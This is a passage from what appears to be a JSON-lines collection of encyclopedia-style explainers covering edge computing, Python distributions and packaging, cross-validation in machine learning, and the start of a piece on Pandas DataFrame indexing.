cameras. \n\nWith edge computing, we enable each camera to run motion detection locally. Cameras are equipped with some storage and sufficient compute power to do this. Cameras have now become 'smart'. Only important video segments are sent to the cloud for storage or deeper analysis. Both network bandwidth and cloud storage/processing are saved. In turn, the cloud server can now support many more cameras. \n\n\n### What are some use cases of edge computing?\n\nIn autonomous driving, if a pedestrian crosses the road, the vehicle may have to brake immediately. Waiting for the cloud to make this decision may prove fatal. Vehicles can also communicate directly with one another. \n\nIn healthcare, there are glucose monitors, fitness trackers, and other health-monitoring wearables. Some monitoring devices locally analyze pulse data or sleep patterns without involving the cloud. Edge computing enables timely care for remote patient monitoring, in-patient care and healthcare management in hospitals. \n\nIn smart factories, the lower latency due to edge computing enables more timely actions to control manufacturing workflows. If analytics determines that a machine is about to fail, immediate action can be triggered to stop the machine. Robots that process their own data will be more self-sufficient and reactive. Edge computing enhances safety and efficiency on the factory floor. \n\nIn agriculture, connectivity is an issue at remote locations. This leads to high investment towards fibre, microwave or satellite connections. Edge computing presents a more cost-effective alternative. Yield can be improved and food wastage reduced. \n\nMany more use cases exist in other sectors such as consumer electronics, defence, telecom, oil & gas, energy, retail and finance. \n\n\n### Which are the main benefits of edge computing?\n\nThese are some benefits of edge computing: \n\n    + **Reduced Latency**: For delay-critical applications, the longer it takes to process data, the less relevant it becomes. Edge computing avoids roundtrip delay.\n    + **Better Security**: Centralized cloud systems are vulnerable to DDoS attacks. Edge computing allows us to filter sensitive information locally.\n    + **Cost Savings**: By retaining and processing data closer to source, edge computing saves on connectivity costs. Data can be categorized and handled suitably: stored locally, stored in cloud, or processed and discarded. Redundant storage is avoided. Data management solutions also cost less.\n    + **Greater Reliability**: Connectivity to the cloud is never perfect. Edge devices/nodes can deal with temporary outages by storing or processing data locally.\n    + **Scalability**: While cloud infrastructure is built for scalability, data still needs to be sent to datacentres and stored centrally. Edge computing complements this by scaling in a distributed manner.\n    + **Interoperability**: Edge nodes can act as intermediaries to interface legacy and modern machines.\n\n### Which are the technologies that enable computing at the edge of networks?\n\n**Cloud computing** itself is an enabler for edge computing. Edge computing doesn't replace cloud computing. They complement each other. Based on application requirements, engineers must decide what data is best processed at the edge and what should go into the cloud. \n\n**Fog computing** extends the cloud while also being closer to edge devices. With fog computing, we place compute and storage in the most logical and efficient location between the cloud and the origin of data. As part of the fog computing infrastructure, there are *cloudlets* and *micro datacentres*, which are simply edge servers clustered together to serve local storage or compute requirements. They are suited for resource intensive or interactive applications. \n\n**Multi-Access Edge Computing (MEC)** is another enabler. In cellular networks such as 4G/5G, Radio Access Network (RAN) refers to the part that handles radio or wireless resources and communication. MEC places compute and storage resources within the RAN to improve network efficiency and content delivery. \n\nMore generally, dropping cost of electronics has brought more compute power to smaller devices. Tools for real-time analytics, particularly on embedded devices, have also made edge computing possible. \n\n\n### How does edge computing differ from fog computing?\n\nSensors, IoT devices and even IoT gateways are **edge devices**. On the other hand, **edge nodes** belong to the fog network that interfaces edge devices to the cloud. Therefore, fog computing depends on edge computing but the reverse is not true. \n\nFor example, consider a train fitted with sensors. A sensor giving engine status is processed locally on the train. This is edge computing. Suppose data from sensors attached to wheels and brakes need to be aggregated over time and processed. These can be sent to an edge node (fog computing) without saving that data in a centralized cloud. \n\nThere's no universal definition of fog computing. Some regard edge devices, edge nodes and even localized datacentres as belonging to the edge network, not preferring to use the terms fog computing or fog network.   \n\nSome others regard edge computing as any processing that's close to the origin of data. Any processing that happens on devices connected to the LAN or on LAN hardware is seen as fog computing. Investing in fog computing makes sense if data has to be aggregated from many edge devices. \n\n\n### Which organizations are standardizing edge computing?\n\nMany organizations are standardizing edge computing. There's no single standard that currently covers all aspects of edge computing. \n\nAs early as 2017, many organizations got interested in this space: The European Telecommunication Standards Institute (ETSI), OpenFog Consortium, Open Networking Foundation (ONF), Open Edge Computing and Facebook's Telecom Infra Project (TIP). TM Forum, CNCF (Cloud Native Computing Foundation), ONAP (Open Network Automation Platform) and LF Edge are also involved. \n\n**LF Edge** is an umbrella organization within the Linux Foundation. It hosts many edge-specific projects.\n\nAECC (Automotive Edge Computing Consortium) and 5G-ACIA (5G Alliance for Connected Industries and Automation) focus on specific verticals that matter to them. \n\nBy 2020, ETSI's **Multi-Access Edge Computing (MEC)** was emerging as an important standard. 5G Future Forum and Wireless Broadband Alliance are two organizations who have adopted MEC specifications.  \n\n\n### What hardware is available to implement edge computing?\n\nImportant considerations for edge computing hardware include processing power, power source, memory, wireless connectivity, variety of ports/interfaces, reliability and ruggedness. \n\nFor the edge, RISC processors such as ARM, ARC, Tensilica, and MIPS are preferred over CISC. While ARM Cortex is suitable, ARM also offers Neoverse specifically for edge use cases. ARM Cortex-M55 and Ethos-U55 are AI edge computing chips. \n\nNVIDIA Jetson GPUs are designed for the edge. For example, Jetson Nano is a 128-core GPU. Jetson TX2 and Jetson Xavier are for industrial and robotic use cases. There's also NVIDIA EGX Platform that offers GPU edge servers. \n\nIntel has Movidius and Myriad 2. The latter is also part of Intel's Neural Compute Stick (NCS) that draws power from host device via USB. \n\nMainflux Labs offers MFX-1 IoT Edge Gateway. Huawei's Atlas AI Computing Platform of AI accelerators, edge stations and servers is based on its Ascend AI processors. Scale Computing offers HC3 Edge and HE500 systems. APC's EcoStruxure Micro Data Centre promises physical security, standardized deployment, and remote cloud-based monitoring. There are many more focusing on micro datacentres.  \n\n\n### How are cloud providers enabling edge computing?\n\nGoogle uses TPUs in its datacentres. In 2018, it started offering **Edge TPU**, an ASIC for AI inferencing at the edge. TensorFlow Lite models can run on an Edge TPU. \n\nMicrosoft's **Azure Stack Edge** is a cloud-managed edge appliance with compute, storage and intelligence. Processors are Intel Xeon. For machine learning workloads, Intel Arria10 FPGA is the hardware accelerator. \n\nAWS has a number of services for the edge. **AWS Outposts** extends AWS infrastructure and services to any other datacentre or on-premise facility. **AWS Snow Family** offers small portable rugged edge devices to be deployed as close as possible to sensors collecting data. **AWS Wavelength** brings single-digit millisecond latencies to mobile devices and end users. It does this by bringing AWS compute and storage to telecom datacentres at the edge of 5G networks. \n\n## Milestones\n\n1988\n\nMark Weiser at Xerox PARC coins the term **Ubiquitous Computing**. Unlike desktop computing, the term implies that computing can happen in any device, in any location. It can happen in laptops, mobile phones, sensor devices, and everyday objects such as refrigerators, umbrellas or alarm clocks. In the late 1990s, a similar term **Pervasive Computing** is coined.  \n\nAug  \n1998\n\nAkamai is incorporated \"to intelligently route and replicate content over a large network of distributed servers.\" This is what we call a **Content Delivery Network (CDN)**. Akamai delivers first live traffic in February 1999 and launches commercial service in April. Yahoo! becomes one of their customers. By 2019, Akamai is said to have 240,000 edge servers, many of which are located in ISPs or mobile data towers. A user request is served by the closest available edge server that also caches content. \n\n1999\n\nNapster is launched as a file sharing software to download and distribute music. The common way to download on the internet is to connect to a server and download files to the client machine. Napster is a **peer-to-peer (P2P) network** in which machines are both clients and servers. One machine can download parts of file from another nearby machine. This distributed architecture makes P2P network scalable, faster and resilient to failures. This idea of cooperative file sharing can be traced to USENET (1979). \n\n2006\n\nAmazon launches Amazon Web Services (AWS). It's Elastic Compute Cloud service enables users to use datacentre infrastructure to run programs. The same year Google Docs is launched. Spreadsheets and documents can be edited and saved online. This is the beginning of **cloud computing**. However, Saleforce pioneered this model back in 1999. \n\n2009\n\nSatyanarayanan et al. coin the term **cloudlet**. They recognize that network latency hurts user experience for highly interactive applications. A response time of more than a second becomes annoying. Mobile devices are also resource constrained and relying on the cloud is too slow. Cloudlets are a solution. They provide the compute power for nearby edge devices. They connect to edge devices via low-latency high-bandwidth one-hop wireless links.  \n\n2011\n\nMyoonet pioneers the concept of modular **micro datacentres**. A year later AOL follows this trend with indoor micro datacentres for enterprises. \n\n2012\n\nWith IoT in mind, and to handle real-time low-latency applications, Cisco engineers coin the term **fog computing** to imply a distributed cloud infrastructure. Their paper is titled *Fog Computing and Its Role in the Internet of Things*. Fog computing encompasses edge processing plus the network connections that bring data from the edge to the cloud. In 2015, the OpenFog Consortium is founded. In 2019, this merges with Industrial Internet Consortium. \n\n2013\n\nHa et al. note the emergence of new resource-intensive interaction-intensive applications: face recognition, speech recognition, object and pose identification, mobile augmented reality, and physical simulation and rendering. In their experiments they find that face recognition can be done on an average server one hop away from the edge device. But speech recognition is more intensive and would need cloud processing unless the edge server is upgraded. \n\nOct  \n2016\n\nThe First IEEE/ACM Symposium on Edge Computing is organized in Washington DC. In May 2017, there's IEEE International Conference on Fog and Edge Computing in Madrid, Spain. In June 2017, there's IEEE International Conference on Edge Computing in Hawaii. These events highlight the growing interest in edge computing.\n\n2025\n\nIn 2019, Gartner research shows that only 10% of enterprise data was created and processed outside cloud infrastructure. They predict that by 2025 this will increase to 75%. This underscores the importance of edge computing. In another research, McKinsey estimates the value of edge computing to be $175-$215 billion by 2025.","meta":{"title":"Edge Computing","href":"edge-computing"}}
{"text":"# Python Distributions and Packaging\n\n## Summary\n\n\nThe Python Software Foundation does regular releases of Python, which we call the standard distribution. This is a good starting point for beginners. However, there are alternatives distributions. Developers may opt for these alternatives to suit their specific requirements or simplifying the installation process. \n\nThird-party packages are usually distributed via a central repository called the *Python Package Index (PyPI)*. For developers who wish to release their software to the Python community, Python provides many tools to package their software in a standard way and release the same on PyPI. As of February 2018, PyPI has over 130,000 packages.\n\n## Discussion\n\n### What's the standard Python distribution and what does it include?\n\nThe Python Software Foundation (PSF) releases the standard distribution of Python periodically at Python.org. This includes Python 3.x and Python 2.x until the latter is retired. Installables are available for Windows and Mac OS X. It's also possible to install Python on Windows using a package manager such as Chocolatey. \n\nFor Linux/UNIX, source code is available although most of them come pre-installed with Python that can also be updated with their respective package managers. Python is also available for other OS such as IBM i 7.1+, iOS, VMS, HP-UX, and more; but these lag behind the official release. \n\nThe standard implementation of Python is in C and is named *CPython*. This includes implementation of the entire standard library. \n\n\n### Are there implementations of Python other than CPython?\n\nYes. Implementation refers to that of the interpreter itself that takes Python code and converts into bytecode. With *CPython*, the interpreter is written in C. This enables easy interfacing of C code with Python code. \n\nLikewise, we have *IronPython* for .NET and *Jython* for JVM. *PyPy* uses a JIT compiler for faster execution. *Stackless Python* augments CPython to support microthreads. *MicroPython* is a slim version of CPython that can run on microcontrollers. \n\nThese alternative implementations lag CPython releases. For example, as of February 2018, IronPython is not available for Python 3 and its Python 2 release hasn't been updated since December 2016. Jython is available only for Python 2. PyPy is available for both 2 and 3 though lagging the latest version of CPython. \n\n\n### What are some alternatives to the standard Python distribution?\n\nThere are a number of alternative Python distributions. ActivePython is a commercial distribution that bundles many useful third-party packages along with the standard library. There's also a free Community Edition. Anaconda and Enthought are two distributions customized for scientific computing and analysis. While Anaconda is free, Enthought is commercial. Intel offers an enhancement of Anaconda. \n\nPython(x,y) is based on Qt and Spyder. This may be good place to start for MATLAB/IDL/C/C++/Fortran programmers who wish to switch to Python. Other alternatives include WinPython, Conceptive Python, PyIMSL, and more. Stackless Python is limited by the heap and not the stack for recursion, and it consumes less memory. \n\nThe purpose of all of these distributions is to simplify the process of installation and package updates. Commercial distributions also offer support such porting Python to an exotic platform or maintaining Python 2.x for legacy codebases. \n\nWhat if you wish to use Python without bothering with any installation at all? PythonAnywhere allows you to code and execute on the cloud from a web browser. It's ideal for teachers and students.\n\n\n### What's the purpose of PyPI?\n\nPyPI serves as a central repository for sharing third-party packages. Developers can go to PyPI and search for packages that they might find useful in their applications. If source code is open (in sites outside PyPI), they can also improve the package. This is often a better approach than developing something from scratch. Note two variants of PyPI:\n\n    + Production site: Main download repository, powered by a codebase called *Warehouse*.\n    + Test site: Site where developers can test their packaging before releasing to production site.While it's possible to download a package manually (as source or binary), build and install the same, having packages on PyPI makes the process easier. Packages are easier to find. We can use a standard tool such as `pip` to manage packages and `pip` automatically knows where to look for packages.\n\n\n### As a Python user, how can I install a package?\n\nThe tool *pip* can be used to install a package from PyPI. It replaces an earlier tool named *easy\\_install*. If pip itself is missing on your system, use system tools to install the same; or download get-pip.py and execute `python get-pip.py`. While pip is sufficient to install pre-built binaries, to build from source you will also need *setuptools* and *wheel*, which can installed with the command `pip install setuptools wheel`. \n\nIf you're working on multiple Python projects, each on a different version of Python, then it's recommended to set up *virtual environments* and install required packages within each environment. Run `pip install virtualenv` and then create/activate it using `virtualenv myproj; source myproj/bin/activate`. It's common to list all project requirements in a file such as requirements.txt and then install all of them by running `pip -r requirements.txt`. This file typically mentions each package name followed by a suitable version in a format specified in PEP 440. \n\n\n### I don't find pip suitable for my workflow. What are my options?\n\nAn easier approach to using `pip` and `virtualenv` separately, or updating requirements.txt independently, is to use the package `pipenv`, which manages and tracks dependencies using `Pipfile` and `Pipfile.lock` files. \n\nIf you wish to create custom workflows, `pip-tools` is recommended. Other alternatives include `hatch` and `poetry`. \n\n\n### What's the definition of a package, packaging and distribution?\n\n*Package* is a bundle of one or more Python modules that can be shared, downloaded and installed. A package is really nothing more than a folder that contains its module files (and optionally sub-packages) and a &lowbar;&lowbar;init&lowbar;&lowbar;.py. The process and tools used in making and uploading packages is called *packaging*. The term *distribution* is usually reserved for a Python distribution and must not be confused for package distribution. \n\n\n### What are Eggs and Wheels?\n\nBoth are built distribution formats for packages. Wheels have replaced Eggs as the preferred format. Installer pip supports only Wheels while Eggs can be installed with the older *easy\\_install* tool. Wheels don't include compiled Python files. In a built distribution, files and metadata are included. The files are simply moved to correct locations while installing. There's no separate build step before installation. \n\nPython packaging specifies how to express dependencies and integration in the database of Python distributions. Wheels implements these but not Eggs. Wheels have a richer naming convention. Their binary format is standardized. For these reasons, Wheels are preferred. \n\nThere are three types of Wheels:\n\n    + **Universal Wheel**: Project is pure Python and natively supports both Python 2 and 3.\n    + **Pure Python Wheel**: Project is pure Python and does not natively supports both Python 2 and 3.\n    + **Platform Wheel**: Project contains compiled extensions.Since pip will prefer a wheel over source distribution, avoid making universal wheels if your project contains extensions. If you're not providing the source and your project is not pure Python, then multiple wheels will need to be provided for every platform that you wish to support.\n\n\n### Can you guide me in packaging and distributing my own package?\n\nThe following are needed and can be installed using pip: \n\n    + **setuptools**: This extends the older *distutils*. The project specification file is setup.py, which can further be controlled with setup.cfg.\n    + **wheel**: This enables creation of wheels.\n    + **twine**: It's possible to upload your package to PyPI by executing setup.py (register and upload). However, Twine is preferred. This enables you to upload your package to PyPI securely. Control of where to upload can be specified in file .pypirc in your home folder.\n    + **tox**: This enables local installation and testing of your package in different environments. Configuration is usually given in a file named tox.ini. A similar testing can be done on the cloud using a service such as Travis CI.The command `python setup.py clean --all sdist bdist_wheel` will perform the build: sdist for source distribution and bdist\\_wheel for creating wheels. This will create two folders build/ and dist/. The former contains temporary files used during the build process. The latter contains the final source archive (\\*.tar.gz) and/or binary wheels (\\*.whl).\n\n## Milestones\n\n2000\n\nPython adds *disutils* to the standard library as a cross-platform build and distribution system. A replacement to this called *disutils2* was worked on during 2009-2012 but this didn't make it into Python 3.3. \n\n2003\n\nPyPI goes online. \n\n2004\n\nPackage installer *easy\\_install* is released as part of *setuptools*. Problem with easy\\_install is that it isn't easy to uninstall packages. \n\n2008\n\nPackage installer *pip* is released as an alternative to *easy\\_installer*. This uses *Wheel* rather than *Egg* as the built distribution format. It's possible to use this to save package requirements to a file (`pip freeze > reqs.txt`) and recreate the same environment on another system (`pip install -r reqs.txt`). Wheel itself is published later in 2012-13. \n\nFeb  \n2011\n\n*The Python Packaging Authority (PyPA)* is created. It's job is to drive standardization, maintain tools and documentation related to Python packaging. It recognizes that the Python packaging and distribution infrastructure needs improvements. \n\nJul  \n2012\n\nAnaconda 0.8.0. In February 2018, Anaconda 5.1.0 is released. \n\nSep  \n2012\n\nWinPython v0.6 is released. In November 2017, WinPython 3.6.3 is released. \n\nMar  \n2014\n\nPython 3.4 is released and it includes *pip* installer by default. \n\nApr  \n2018\n\nKenneth Reitz releases version 11.10.1 of **pipenv** at PyPI. Meanwhile, **Warehouse** replaces legacy code to power PyPI. This means that requests to `pypi.python.org` are redirected to `pypi.org` and they both share the same data store.","meta":{"title":"Python Distributions and Packaging","href":"python-distributions-and-packaging"}}
{"text":"# Cross-Validation\n\n## Summary\n\n\nCross-validation is a statistical method that estimates how well a trained model will work on unseen data. The model's efficiency is validated by training it on a subset of input data and testing on a different subset. Cross-validation helps in building a generalized model. Due to the iterative nature of modeling, cross-validation is useful for both performance estimation and model selection. \n\nThe three steps involved in cross-validation are:\n\ni. Divide the dataset into two parts: one for training and other for testing.\n\nii. Train the model with the training dataset.\n\niii. Evaluate the model's performance using the testing set. If the model doesn't perform well with the testing set, check for issues.\n\nIf the model performs well on unseen data, it's consistent and can predict with good accuracy for a wide range of input data; this model is stable. Cross-validation helps evaluate the stability of machine learning models.\n\n## Discussion\n\n### What's the need for cross-validation?\n\nIn order to build a generalized model that works well for unseen data, cross-validation is needed. This is how it's done:\n\nSplit the data into 3 random parts: Training data (65%), Validation data (20%), and Test data (remaining 15%). The model building doesn't involve test data; it is used as 'unseen' data to verify and declare the model accuracy.\n\nLet's say, a model (kNN) is built using Training data and is optimized (optimum k is arrived at) using Validation data. Only 65% of the entire available data is used for model building, which isn't a good sign. With cross-validation, 85% (Training + Validation data) can be used to build the model. Here's how:\n\nk-fold concept is applied now by dividing the Training and Validation data into equal parts, say 5 parts of about 17% each. The model is trained 5 times, each time with 17% Validation data and rest 68% Training data. An aggregation mechanism like average value is applied to arrive at the final optimal model. The final model, built with 85% data, is checked for accuracy with Test data. This ensures a 'generalized' model is built that works well for unseen data too. \n\n\n### What is the difference between Training Data, Validation Data, and Test Data?\n\nFor training and testing the model, the dataset must be split into three distinct parts:\n\n    + **Training Data**: The model is trained to learn the hidden features/patterns of the dataset with the training data. The model evaluates the data repeatedly to learn more about the data's behavior, following which, it adjusts itself to serve the intended purpose. It's basically used to fit the models.\n    + **Validation Data**: This is used to validate the model performance during training. It helps tune the model's hyper-parameters and configurations accordingly. The validation data estimates the prediction error for model selection. An over-fitting model is prevented with validation data.\n    + **Test Data**: After completion of training, the test data validates that the trained model can make accurate predictions. It's used for assessment of the generalization error of the final chosen model.\n\n### What are the main assumptions behind cross-validation?\n\nThe learning dataset that is used to build and evaluate a predictive model is assumed to be a sample from the population of interest. With random sub-sampling methods, the training set and test set are generated from the learning set. A supervised prediction method is only expected to learn how to predict on unseen samples that are drawn from the same distribution as training samples; an evaluation of its performance ought to respect this assumption, as in the case of cross-validation with random partitions. \n\nRandom Cross-Validation assumes that a randomly selected set of samples comprising the test set, well represents unseen data. This assumption doesn't hold true when samples are obtained from different experimental conditions. \n\n\n### Which are the commonly used cross-validation techniques?\n\n \n\n    + **Hold-out method**: The data is separated into training and testing sets. The proportion of training data has to be larger than test data. This is used on large datasets, since the model is trained only once and is computationally inexpensive.\n    + **Leave one out cross-validation (LOOCV)**: The test data is a single observation from the dataset. Everything else is training data to train the model. In each iteration, a different sample is chosen as test data; the remaining are training data. This is repeated \\(n\\) times (\\(n\\) - number of samples). The average of all iterations gives the test set error estimate.\n    + **k-fold**: The data is divided into \\(k\\) sets of near-equal sizes. The first set is the test set; the model is trained on the remaining \\(k-1\\) sets. Test error rate is calculated after fitting the model to the test data. In the second iteration, the second set is the test set and remaining \\(k-1\\) sets are the training data. This process continues for all \\(k\\) sets and error is calculated for each iteration. The mean of these errors gives the test error estimate.\n\n### How do we choose \\(k\\) value for k-fold cross-validation?\n\nThe key-configuration parameter for **k-fold cross-validation** is \\(k\\) - the number of folds that the given dataset must be split into. Commonly, \\(k\\)-value is chosen as follows:\n\n    + **Representative**: The \\(k\\)-value is chosen such that each train/test group of data samples is large enough to be statistically representative of the broader dataset.\n    + By performing a sensitivity analysis for different \\(k\\) values, the optimal value can be determined. This implies evaluating the performance of the same model on the same dataset for different values of \\(k\\) and see how they compare.\n    + To compare classifiers with similar bias, \\(k=2\\) works best as it has lowest variance. To measure error, \\(k=5\\) or \\(k=10\\) are less biased than \\(k=2\\).\n    + Most common values chosen for \\(k\\) are `3`, `5`, and `10`, with the most popular one being `10`, experimentally found to provide good trade-off of low computational cost and low bias in an estimate of model performance.\n    + Typically, low \\(k\\) values result in a noisy estimate of model performance, while large \\(k\\) values result in a less noisy estimate.The computation time increases almost exponentially with higher values of \\(k\\), particularly with large datasets. \n\n\n### What's nested cross-validation?\n\n**Nested cross-validation** works with a double loop: an outer loop that computes an unbiased estimate of the expected accuracy of the algorithm and an inner loop for hyper-parameter selection. These two loops are independent of each other. \n\nFrom the example shown, the outer loop is repeated 5 times, generating 5 different test sets. In each iteration, the outer train set is split (into 4 folds here). With 5 outer folds and 4 inner folds (shown in the figure), a total of 20 models are trained.\n\nThe outer layer is used to estimate the quality of models trained on the inner layer. The inner layer is used for selecting the best model (including best set of hyper parameters). This way, you're not just assessing the quality of the model, but also the quality of procedure for model selection. For each iteration of the outer loop, one and only one inner model is selected that will be evaluated on the test set for the outer fold. After you vary the outer test set, you'll have 5 estimates that can be averaged to better assess quality of the models. \n\n\n### What are the use cases of cross-validation?\n\nCross-validation can be used for comparison of performances of a set of predictive modeling procedures. For example, for optical character recognition, if Support Vector Machine or k-nearest neighbors are considered to predict the true character from an image of a handwritten character, the use of cross-validation can objectively compare these two methods in terms of their respective fractions of misclassified characters. Simply comparing the methods based on their in-sample error rates, one method might appear to perform better than the other. \n\nThe use of cross-validation is widespread in medical research. Consider the use of the expression levels of a certain number of proteins, say 15 for example for predicting if a cancer patient will respond to a specific drug. The ideal way would be to determine which subset of the 15 features produce the ideal predictive model. Using cross-validation, you can determine the exact subset that provides the best results. \n\nData analysts have used cross-validation in medical statistics, with these procedures being useful for meta-analysis. \n\n\n### What are the challenges with cross-validation?\n\nCross-validation simply provides one additional mapping from training sets to models. Any mapping of this kind constitutes an inductive bias; hence like any other classification strategy, the performance of cross-validation depends on the environment in which it is applied. \n\nFor ideal conditions, it provides optimum output. But with inconsistent data, it may produce drastic result. This is one of the biggest disadvantages of cross-validation as there is no certainty of the type of data in machine learning. \n\nIn predictive modeling, data evolves over a period, and it may face the differences between training set and validation sets. For example, if a model has been created to predict stock market values, by training it on stock values of the previous 5 years, the realistic future values for the next 5 years could be drastically different. \n\nWhile k-fold cross-validation is typically the method of choice to estimate the generalization error for small sample sizes, there exists no universal (valid under all distributions) unbiased estimator of the variance of this technique. \n\n\n### What are some tips when implementing cross-validation?\n\nTip #1: While splitting the data into train-test set, a good rule of thumb is to use 25% of the data-set for testing. Generally, the ratio can be 80:20, 75:25, 90:10, etc. It's the machine learning engineer who has to take this decision based on the amount of available data. \n\nTip #2: The Data Science community has a general rule based on empirical evidence and different researches that suggest 5- and 10-fold cross-validation should be preferred over LOOCV. \n\nTip #3: In Deep Learning, the normal tendency is to avoid cross-validation due to the cost associated with training \\(k\\) different model. Instead of doing **k-fold** or other cross-validation techniques, you could use a random subset of your training data as a hold-out for validation purposes. \n\nTip #4: In case the data is of medical or financial nature, it should be split by person. Avoid having data for one person both in training and the test set, since it could be considered as data leak. \n\n\n### What software packages help implement cross-validation?\n\nCross-validation techniques can be implemented using Python and open-source Sci-kit learn. For **k-fold cross-validation**, `sklearn.model_selection.KFold` can be used. \n\nAlternatively, MATLAB supports cross-validation. Some of these cross-validation techniques can be used with the Classification Learner App and the Regression Learner App of MathWorks. \n\nThe Keras deep learning library allows you to pass one of two parameters for fit function that performs learning. This includes the validation\\_split and validation\\_data. The same approach is used in official tutorials of other DL frameworks such as PyTorch and MxNet, where they suggest splitting the data into three parts: training, validation, and testing.\n\nCross-validation can be easily implemented using \\(R\\) programming language. The statistical metrics used to evaluate the accuracy of regression models are:\n\n    + Root Mean Squared Error (RMSE) gives the average prediction error made by the model. Decreased RMSE value leads to increase in accuracy of the model.\n    + Mean Absolute Error (MAE) gives the absolute difference between actual values and values predicted by the model for the target variable. Less MAE value makes better models.\n    + R2 Error reflects the relationship strength between target variable and model. High R2 value gives a better model.\n\n\n## Milestones\n\n1931\n\nLarson **divides the dataset into two groups**, estimates the regression coefficients from one group and then predicts the criterion scores from the second group. His work is towards a study of the actual amount of shrinkage in the field of psychological testing.Theoretical statisticians previously showed that the coefficient of multiple correlation \\(R\\), derived for a given dataset, has a deceptively large value. If the equation is applied to another dataset, the yield (except sampling errors) is less than the first. An increase in the number of variables in the regression equation leads to greater shrinkage. \n\n1951\n\nMosier presents five distinct designs closely related to cross-validation: 1) cross-validation, 2) validity-generalization, 3) validity extension, 4) simultaneous validation, and 5) replication. The purpose is to evaluate the **predictive validity of linear regression** equations used to forecast a performance criterion from scores on a battery of tests. The multiple correlation coefficient in the original sample used to assign values of regression weights gives an optimistic impression of the predictive effectiveness of the regression equation when applied to future observations. \n\n1968\n\nMosteller and Turkey develop the idea of cross-validation. Their work comes close to what would later be called **k-fold cross-validation**. \n\n1974\n\nFor the choice and assessment of statistical predictions, Stone uses a cross-validation criterion. A cross-validatory paradigm with a simple structure is presented. He omits single observations, a method that's later named **Leave-One-Out Cross-Validation (LOOCV)**. While it's assumed that major problems might be encountered in the execution of the cross-validatory paradigm, it's expected that the status of such problems won't be as ambiguous as those associated with the conventional paradigm. \n\n1975\n\nGeisser presents the method of **predictive sample reuse** around the same time as M. Stone's cross-validatory method. Geisser's method uses multiple observational omissions (unlike Stone's LOOCV), yielding a desirable degree of flexibility. He gives more relevance to prediction than parameter estimation for inference since prediction can be adequately assessed in real situations, unlike parameter estimation. He develops a highly flexible and versatile low structure predictivistic approach that serves as a complement to the tightly structured Bayes approach. This method while assuming less, yields less. \n\n1994\n\nMoody and Utans develop a model for rating bonds (for corporate bond rating prediction) as a case study of architecture selection procedures. With limited data availability and lack of complete a priori information, they attempt to select a good neural network architecture to model any specific dataset. Their bond rating study shows that nonlinear networks outperform a linear regression model for a financial application. \n\n2000\n\nBrowne reviews many cross-validation methods, considering the original applications in multiple linear regressions first. He assesses structural models for moment matrices. Upon investigating single-sample and two-sample validation indices, it's seen that the optimal number of parameters suggested by both these indices depend on sample size. It's shown how predictive accuracy depends on sample size and the number of predictor variables. \n\n2015\n\nTo select the appropriate model from available data, cross-validation is used. Zhang and Yang focus on selecting a modeling procedure in the regression context through cross-validation. They investigate the relationship between cross-validation performance and the ratio of splitting the data, in terms of modeling procedure selection. In comparing the predictive performance of two modeling procedures, they ensure that a large evaluation set accounts for randomness in the prediction assessment. The relative performance for a reduced sample size is made to resemble that for a full sample size. \n\n2020\n\nLi et al. derive a cheap and theoretically guaranteed **auxiliary/augmented validation technique**. It trains models on the given dataset once, making the selection of model quite efficient. It's also suitable for a wide range of learning settings owing to the independence of augmentation and out-of-sample estimation on the learning process. The augmented validation set plays a key role to select the ideal model. Their validation approach is not only computation-efficient, but also effective for validation and is easy for application. \n\n2021\n\nZhang et al. proposes a **Targeted Cross-Validation (TCV)** approach for model or procedure selection based on a general weighted loss. TCV is shown to be consistent for selection of the best performing candidate and is potentially advantageous over global cross-validation or use of local data for modelling a local region. TCV is used to find a candidate method with the best performance for a local region. The flexible framework allows the best candidate to switch with varying sample sizes, and can be applied to high-dimensional data and complex ML scenarios with dynamic relative performances of modelling procedures.","meta":{"title":"Cross-Validation","href":"cross-validation"}}
{"text":"# Pandas DataFrame Operations\n\n## Summary\n\n\nDataFrame is an essential data structure in Pandas and there are many way to operate on it. Arithmetic, logical and bit-wise operations can be done across one or more frames. \n\nOperations specific to data analysis include: \n\n* **Subsetting**: Access a specific row/column, range of rows/columns, or a specific item.\n* **Slicing**: A form of subsetting in which Python slicing syntax `[:]` is used. Rows/columns are numbered from zero. Negative integers imply traversal from the last row/column.\n* **Filtering**: Obtain rows that fulfil one or more conditions.\n* **Reshaping**: Reorganize data such that the number of rows and columns change.\n* **Merging**: A DataFrame is merged with another. This can be a simple concatenation of frames or database-style joins.\n\n**Indexing** is a general term for subsetting, slicing and filtering.\n\n## Discussion\n\n### What are some ways to access values in a Pandas DataFrame?\n\nConsider a simple DataFrame with index values 10-12 and columns A-C. A row or column can be accessed by its index value or column label respectively. Column label is used directly in `[]`: `df['A']`. Index values are used via `.loc[]`: `df.loc[10]`. We can also access a row by its position using `.iloc[]`: `df.iloc[0]`. \n\nIn our example, there are many ways to get the last item, a scalar value: \n\n    + Row first: `df.iloc[2]['C']`, `df.loc[12]['C']`, `df.loc[12, 'C']`\n    + Column first: `df['C'][12]`, `df['C'].loc[12]`, `df['C'].iloc[2]`To access multiple rows use `df.loc[[10,11]]` or `df.iloc[0:2]`. For multiple columns, use `df[['A','B']]`. To get last two columns of last two rows, we can write `df.loc[[11,12], ['B','C']]`, `df.iloc[1:][['B','C']]`, `df[['B','C']].iloc[1:]` or `df[['B','C']].loc[[11,12]]`. Integer lists `df.iloc[[1,2],[1,2]]` or slicing `df.iloc[1:,1:]` or `df.iloc[-2:, -2:]` can be used.  \n\nPositional and label-based indexing can be combined: `df.loc[df.index[[0, 2]], 'A']`. \n\n**Callable** can be used for indexing. Function takes a Series or DataFrame and must return a valid index. For example, `df.loc[:, lambda df: ['A','B']]` or `df[lambda df: df.columns[0]]`. \n\n\n### What is multi-indexing on a Pandas DataFrame?\n\nHierarchical indexing or MultiIndex allows us to work with higher dimensional datasets using 2-D DataFrame. A MultiIndex could be seen as an array of unique tuples. In fact, it can be created from list of arrays, array of tuples, a DataFrame or from a product of iterables. \n\nReferring to the figure, rows can be accessed using `df.loc['a']` or `df.loc['a',:]`. For multi-level indexing, use `df.loc[('a','one')]`, `df.loc[('a','one'),:]` or `df.loc[(slice(None),'one'), :]`. Likewise for columns, we have `df['A']`, `df.loc[:,'A']` or `df.loc[:, (slice(None), 'x')]`. Multi-indexing across rows and columns can be done with `df['A']['x']`, `df['A','x']` or `df.loc[:,('A','x')]`. To get specific items, use `df.loc[('a','one'),('B','x')]` or `df.loc[('a','one'),'B']`. \n\nPartial slicing is done using `df.loc[('a', 'one'):('b', 'two')]` (result has four rows). Reindexing is done with `df.loc[[('a', 'one'), ('b', 'two')]]` (result has two rows). \n\nWith 